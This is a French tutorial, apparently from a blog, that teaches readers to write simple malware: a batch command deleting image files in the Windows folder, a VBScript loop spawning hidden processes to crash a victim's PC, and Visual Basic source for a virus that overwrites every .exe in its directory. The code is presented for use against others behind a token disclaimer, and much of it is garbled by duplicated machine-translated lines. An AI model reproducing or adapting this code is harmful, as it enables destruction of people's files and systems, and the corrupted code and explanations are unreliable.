Créer un virus trojan

Créer un virus trojan

parti:1

Bonjour à tous.

Aujourd’hui j’ai choisi de parler à propos
des virus, on
entend beaucoup parler, on a tous été
infecter un jour ou
l’autre par ces programmes. Parce que
avant tous un virus
est un programme.

Nous allons donc voir comment ça
fonctionne mais aussi
comment en créer ; bien sur !

Dans cette première partie, nous allons
commencer avec
des virus plutôt simple vous allez le voir :

Les Virus VB (Visual Basic):

Ce type de virus sont les plus anciens et ont été
parmi les
premiers à être apparus.

Créer un petit virus pas très méchant...

Avant toute chose je tiens a vous avertir que cette article
n'est là que dans un but
pédagogique, et vous n'étes nullement incités à reprtoduire
ceci sur votre pc. Vous etes

donc résponsable de vos actes et ni moi ni mon hébérgeur
ne seons tenu pour responsable.

Nous allons apprendre à créer un petit virus en *bat. :

C’est partit :

Pour commencer, ouvrez votre editeur de
texte prèfèré (ex : bloc-note).
Ensuite, tapes
sans sauter de ligne :


del C :windows*.bmp cls


Après, enrigistrer le code avec l’extension *.bat

Attention : N’ouvrez en aucun cas le fichier sur
votre ordinateur,
le virus s’exécutera !

Comment ça marche, explications:

del C:windows*.bmp

del : sert à supprimer
C:windows : situe le dossier où la commande doit avoir lieu
* : suivit d'une extension désigne tous les dossiers portant
cette extension dans l'exemple l'extension est *.bmp .Donc
ce mini virus supprimera tous les fichiers portant l'extension
*.bmp (en locurrence des images) se trouvant dans windows.

Ce virus pourrait être plus dangereux si vous changiez
l’extension en une autre plus importante, mais la, je laisse
libre choix à votre imagination !^^

Créer un virus plus méchant…

vous rêvez de savoir planter des pc très facilement ?^^

C’est partit :

Commencez, par ouvrir votre editeur de text.
Ensuite, tapes le code suivant :


Set variable = CreateObject("WScript.Shell")
Do
variable.run "notepad",false
Loop

Après, enregistrez le avec le nom que vous voulez, avec l’extension .vbs

Petite précision :

Ici, le bloc-note (celui de windows) représente l'application
désirée, vous pouvez la remplacer par une application plus lourde
(pour des résultats plus rapides et meilleurs).
false : signifie que les fenêtres ne doivent pas être initialisées,
seulement les processus pour que la victime ne se rende pas compte.
Loop : signifie que ça doit se faire en boucle : ça doit lancer le
bloc-note, recommencé et ainsi de suite.

Ces virus ont été créé en Visual Basic, si vous voulez aller plus loin
dans la création de virus apprenez le Visual Basic (qui est un
langage de programmation plutôt simple)

Dans la deuxième partie du cours nous verrons
des échantillons de vrais virus bien méchant !

Si vous voulez un bon tuto : "Apprendre le Visual
basic simplement" laissez des coms.

...............................................................................................................................................................

parti:2

Les virus informatiques sont sous
de nombreuses formes avec de
nombreuses fonctions différentes.
Certains sont plutôt simplistes et
peuvent être détectés par
l'utilisateur moyen tandis que
d'autres sont complexes et
passent inaperçus pendant
un certain temps. Les virus les plus courants
relevant de la classification des infecteurs de fichiers,
qui fonctionnent en infectant des fichiers exécutables.
Ils y parviennent en insérant leur code malveillant
dans une zone du fichier d'origine, lui permettant
d'être exécutée chaque fois que le fichier est
accessible Certains d'entre eux sont capables de
complètement écraser un fichier, ce qui rend tout un programme inutile.

C’est le cas de ce type de virus que nous allons voir aujourd’hui.
Les virus Overwritters.

Je sais que les virus overwritters , n'ont malheureusement plus aucune
chance de se propager et ils ne sont pas "intelligent". Malgré tout cela
overwritters peut vous aider à comprendre les bases du VRAI virus.
Je vais vous donner le code d'abord et ensuite on va le passer en revue.

-=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-=

Option Explicit Option Explicit

Dim myarray() As Byte myarray Dim () As Byte

Dim victim As String victime Dim As String

Const mysize As Integer = 11776 mysize
Const As Integer = 11776

Private Sub Form_Load()
Private Sub Form_Load ()

On Error Resume Next On Error Resume Next

Dim Free Dim gratuit

Free = FreeFile Free = FreeFile

Open App.Path & "\" & App.EXEName &
".exe" For Binary Access Read As #Free
Open App.Path & "\" & & App.EXEName
". Exe" pour l'accès binaire Lire Comme # Free

ReDim myarray(mysize) ReDim MonTableau (mysize)

Get #1, 1, myarray Obtenez myarray # 1, 1,

Close #Free Close # Free

victim = Dir(App.Path & "\" &
"*.EXE") victime = Dir (App.Path &
"\" & "*. exe")

While victim <> "" Bien que victime <> ""

Open App.Path & "\" & victim For
Binary Access Write As #Free Open App.Path
& "\" & victime pour l'accès binaire
Ecrivez comme # Free

Put #1, , myarray Put # 1,, myarray

Put #1, , mysize Put # 1,, mysize

Close #Free Close # Free

victim = Dir() victime = Dir ()

Wend Wend

End End

End Sub End Sub

  -=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-=

Décodons tout cela : (miam ! J)

Option Explicit Option Explicit

Dim myarray() As Byte myarray Dim
() As Byte

Dim victim As String victime Dim As String

Const mysize As Integer = 11776
mysize Const As Integer = 11776

Ici, nous définissons les variables que nous allons utiliser, le "myarray ()"
variable qui contient le code binaire du virus, "victime" est la variable qui
contient le nom du fichier de la victime et le "mysize" variable
contient la taille du virus.

Private Sub Form_Load() Private Sub
Form_Load ()

On Error Resume Next On Error Resume Next

Nous ouvrons le sous dossier que nous allons utiliser (Form_Load),
et nous avons mis notre erreur poignée c'est-à-dire qu’en cas
d’erreur le programme s’arrêtera là.

Dim Free Dim gratuit

Free = FreeFile Free = FreeFile

C'est une bonne idée de prendre exemple sur le virus y2k.
Cela vous débarrasse de la lecture / écriture des erreurs, car il est open source.

Open App.Path & "\" & App.EXEName &
".exe" For Binary Access Read As #Free
Open App.Path & "\" & & App.EXEName
". Exe" pour l'accès binaire Lire Comme # Free

ReDim myarray(mysize) ReDim MonTableau
(mysize)

Get #1, 1, myarray Obtenez myarray # 1, 1,

Close #Free Close # Free

Maintenant, nous allons sortir le code binaire de nos virus et
nous allons le stocker dans la variable "myarray".

victim = Dir(App.Path & "\" &
"*.EXE") victime = Dir (App.Path &
"\" & "*. exe")

While victim <> "" Bien que victime <> ""

Open App.Path & "\" & victim For
Binary Access Write As #Free Open
App.Path & "\" & victime pour l'accès
binaire Ecrivez comme # Free

Put #1, , myarray Put # 1,, myarray

Put #1, , mysize Put # 1,, mysize

Close #Free Close # Free

Ici, nous définissons la variable « victime » et nous avons mis notre
code binaire dans le programme de la victime.

victim = Dir() victime = Dir ()

Wend Wend

Puis nous avons mis la victime à zéro, et nous répétons l'ensemble
du processus d'infecter tous les fichiers. Exe dans le répertoire courant.

End End

End Sub End Sub

Et enfin, nous fermons le programme et les sous dossiers.